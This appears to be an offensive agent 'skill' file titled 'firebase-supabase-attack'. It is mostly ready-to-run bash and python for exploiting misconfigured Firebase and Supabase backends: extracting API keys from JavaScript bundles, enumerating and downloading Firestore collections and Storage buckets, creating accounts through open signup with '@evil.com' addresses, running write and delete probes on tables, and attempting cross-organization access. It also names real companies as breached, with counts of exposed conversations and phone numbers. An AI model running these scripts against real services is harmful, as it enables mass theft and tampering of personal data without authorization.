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Exploit Firebase/Supabase for data via JS config leak probe.
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| name | firebase-supabase-attack |
| description | Exploit Firebase/Supabase for data via JS config leak probe. |
| version | 1.0.0 |
| author | uphiago |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| metadata | {"tags":["recon","firebase","supabase","firestore","cloud","data-breach"],"category":"recon","related_skills":["api-noauth-hunt","js-secrets-extraction","source-leak-hunt"]} |
Exploit misconfigured Firebase (Firestore, Storage, Auth) and Supabase (REST API, Storage, Auth) backends. These BaaS platforms are the #1 source of massive data breaches in modern web apps when Row Level Security (RLS) is missing and API keys leak in JavaScript bundles. Confirmed on Brendi (204K WhatsApp conversations, 173K phone numbers), Visafy (64K users, 46K reports), Smart Fit (39K users, 5 Firebase projects, 21 credentials), agendadentista (9 clinics, 1,749 leads).
apiKey, projectId) or Supabase URL + anon key.js-secrets-extraction finds Firebase/Supabase identifiers.source-leak-hunt finds .env with FIREBASE_* or SUPABASE_* variables.terminal tool with curl, python3, jq.python3 with google-auth library.# Firebase Firestore — list collections (if public)
curl -sk "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/"
# Supabase — list users table (if RLS missing)
curl -sk "https://PROJECT.supabase.co/rest/v1/users" \
-H "apikey: ANON_KEY" -H "Authorization: Bearer ANON_KEY"
# Supabase — test signup (if open)
curl -sk -X POST "https://PROJECT.supabase.co/auth/v1/signup" \
-H "apikey: ANON_KEY" -H "Content-Type: application/json" \
-d '{"email":"test@evil.com","password":"Test123!"}'
| Platform | What to Find | Exploit Path | Real Example |
|---|---|---|---|
| Firebase Firestore | Public database rules | Direct REST API access, list all collections | Brendi: 204K conversations public |
| Firebase Storage | Public bucket rules | Download all files via REST API | Brendi: 1,000+ WhatsApp audio files public |
| Firebase Auth | Open signup | Create accounts, access protected resources | Smart Fit: Firebase Auth signup open |
| Firebase SA Key | Service account JSON | GCP IAM escalation, access all GCP resources | Smart Fit: 5 SA keys → full GCP access |
| Supabase REST | Missing RLS | SELECT/INSERT/UPDATE/DELETE on any table | Visafy: 64K users, 46K reports, DELETE confirmed |
| Supabase Storage | Public buckets | Download all files, upload malicious content | Visafy: public PDF reports bucket |
| Supabase Auth | Open signup | Create accounts, bypass access controls | agendadentista: open signup + auto-confirm |
TARGET="$1"
OUTDIR="/root/output/firebase_supabase/$TARGET"
mkdir -p "$OUTDIR"
# Download homepage and common JS entry points
curl -sk "https://$TARGET/" -o "$OUTDIR/index.html"
curl -sk "https://$TARGET/app.js" -o "$OUTDIR/app.js" 2>/dev/null
curl -sk "https://$TARGET/main.js" -o "$OUTDIR/main.js" 2>/dev/null
echo "[*] Extracting Firebase/Supabase configs..."
# Firebase config pattern
grep -oP 'apiKey["\s:]+["][^"]+["]|projectId["\s:]+["][^"]+["]|firebase\.initializeApp' \
"$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u
# Supabase config pattern
grep -oP 'supabase\.co[^"'\'' ]+|supabaseUrl["\s:]+["][^"]+["]|supabaseKey["\s:]+["][^"]+["]|anon[_-]?key["\s:=]+["][^"]{20,}["]' \
"$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u
PROJECT_ID="$1" # e.g., brendi-whatsapp-bot
echo "[*] Firestore enumeration for $PROJECT_ID"
# List root collections (if public)
curl -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" | \
python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
if 'documents' in data:
print(f'ERROR: {len(data[\"documents\"])} root docs — not a collection list')
else:
for k in data.keys():
print(f'Collection: {k}')
except Exception as e:
print(f'Error: {e}')
print(sys.stdin.read()[:500])
" 2>/dev/null
# If Firestore requires auth, try with Firebase ID token from Auth
# (see Phase 4 for token generation via signup)
PROJECT_ID="$1"
COLLECTION="$2" # e.g., conversationsV3, users, stores
echo "[*] Accessing collection: $COLLECTION"
# List documents in collection
curl -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
print(f'Documents found: {len(data[\"documents\"])}')
for doc in data['documents'][:5]:
name = doc['name'].split('/')[-1]
fields = doc.get('fields', {})
# Extract top-level fields
keys = list(fields.keys())[:10]
print(f' {name}: {keys}')
if len(data['documents']) > 5:
print(f' ... and {len(data[\"documents\"]) - 5} more')
elif 'error' in data:
print(f'Error: {data[\"error\"][\"message\"]}')
" 2>/dev/null
# Read a specific document
DOC_ID="$3" # from the listing above
curl -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION/$DOC_ID" | \
python3 -m json.tool 2>/dev/null | head -50
API_KEY="$1" # from JS bundle (web API key)
PROJECT_ID="$2"
echo "[*] Testing Firebase Auth signup on $PROJECT_ID"
# Sign up
SIGNUP_RESP=$(curl -sk -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!","returnSecureToken":true}')
if echo "$SIGNUP_RESP" | grep -q "idToken"; then
echo "[+] SIGNUP OPEN — account created!"
ID_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['idToken'])" 2>/dev/null)
echo " ID Token: ${ID_TOKEN:0:50}..."
# Now use this token with Firestore
echo "[*] Testing Firestore access with ID token..."
curl -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" \
-H "Authorization: Bearer $ID_TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
print(f'[+] ACCESS GRANTED — {len(data[\"documents\"])} collections visible')
elif 'error' in data:
print(f'[-] Access denied: {data[\"error\"][\"message\"]}')
else:
print(f'[?] Unknown response: {list(data.keys())}')
" 2>/dev/null
else
echo "[-] Signup blocked: $(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('error',{}).get('message','unknown'))" 2>/dev/null)"
fi
PROJECT_ID="$1"
BUCKET="${PROJECT_ID}.appspot.com" # default bucket name
echo "[*] Storage enumeration for $BUCKET"
# List objects (if public)
curl -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'items' in data:
total = len(data['items'])
total_size = sum(int(i.get('size', 0)) for i in data['items'])
print(f'Objects: {total} ({total_size:,} bytes)')
for item in data['items'][:5]:
print(f' {item[\"name\"]} ({item.get(\"size\",0):,} bytes)')
elif 'error' in data:
print(f'Error: {data[\"error\"][\"message\"]}')
"
# Download a specific file
OBJECT_NAME="$2" # from listing
curl -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/$OBJECT_NAME?alt=media" \
-o "/tmp/firebase_$OBJECT_NAME"
echo "[+] Downloaded to /tmp/firebase_$OBJECT_NAME"
SUPABASE_URL="$1" # e.g., https://gfgmuezavgzjmaxhflsu.supabase.co
ANON_KEY="$2" # from JS bundle
echo "[*] Supabase REST API enumeration"
# Schema discovery — list tables by querying common names
TABLES=("users" "profiles" "organizations" "posts" "comments" "purchases"
"orders" "products" "reports" "relatorios" "documents" "files"
"messages" "conversations" "sessions" "audit_logs")
for table in "${TABLES[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 \
"$SUPABASE_URL/rest/v1/$table?limit=1" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" 2>/dev/null)
if [[ "$code" == "200" ]]; then
count=$(curl -sk "$SUPABASE_URL/rest/v1/$table?limit=0" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
-H "Prefer: count=exact" -I 2>/dev/null | grep -i "content-range" | grep -oP '\d+(?=/\d+$)')
echo " [TABLE] $table — HTTP 200 (${count:-?} rows)"
# Fetch first 3 rows
curl -sk "$SUPABASE_URL/rest/v1/$table?limit=3" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | \
python3 -m json.tool 2>/dev/null | head -20
echo ""
elif [[ "$code" == "401" || "$code" == "403" ]]; then
echo " [BLOCKED] $table — HTTP $code (RLS protected)"
fi
done
SUPABASE_URL="$1"
ANON_KEY="$2"
TABLE="$3" # from table discovery above
echo "[*] CRUD testing on $TABLE"
# INSERT
echo -n " INSERT: "
curl -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: application/json" -H "Prefer: return=minimal" \
-d '{"test":"rls_bypass_probe_'$(date +%s)'"}' \
-o /dev/null -w "%{http_code}" 2>/dev/null
echo ""
# UPDATE (PATCH)
echo -n " UPDATE: "
curl -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: application/json" -H "Prefer: return=minimal" \
-d '{"test":"rls_updated"}' \
-o /dev/null -w "%{http_code}" 2>/dev/null
echo ""
# DELETE
echo -n " DELETE: "
curl -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
-H "Prefer: return=minimal" \
-o /dev/null -w "%{http_code}" 2>/dev/null
echo ""
SUPABASE_URL="$1"
ANON_KEY="$2"
echo "[*] Supabase Auth signup test"
SIGNUP_RESP=$(curl -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
-H "apikey: $ANON_KEY" -H "Content-Type: application/json" \
-d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!"}')
if echo "$SIGNUP_RESP" | grep -q "access_token"; then
echo "[+] SIGNUP OPEN!"
ACCESS_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])" 2>/dev/null)
echo " Access Token: ${ACCESS_TOKEN:0:50}..."
# Test cross-org access (change organization_id in profile)
curl -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])" 2>/dev/null)" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" -H "Prefer: return=representation" \
-d '{"organization_id":1}' 2>/dev/null | python3 -m json.tool 2>/dev/null
echo " [*] If the above returned data for org_id=1, cross-organization access works"
else
echo "[-] Signup blocked: $(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('msg','unknown'))" 2>/dev/null)"
fi
conversationsV3: 204K WhatsApp conversations, 173K unique phone numbers, 497 stores — PUBLICLY READABLEstores: 4,000 stores with CNPJ, phone, GPS, menu — PATCH write confirmedAIzaSy...USd4 or similar truncation. This happens when the bundler splits the key across multiple string literals or when the key references a variable defined elsewhere. If the Firebase API tests return "API key not valid", the key may be a partial match from the regex. Extract the surrounding context (50+ chars on each side) to find the complete key.medxgo-2e637) may exist in the GCP project registry but have no deployed Firebase resources (no Firestore, no Hosting, no Storage). Check /firebaseapp.com, /firebaseio.com, and /firestore.googleapis.com independently — each may return different results.idToken or access_token in the response.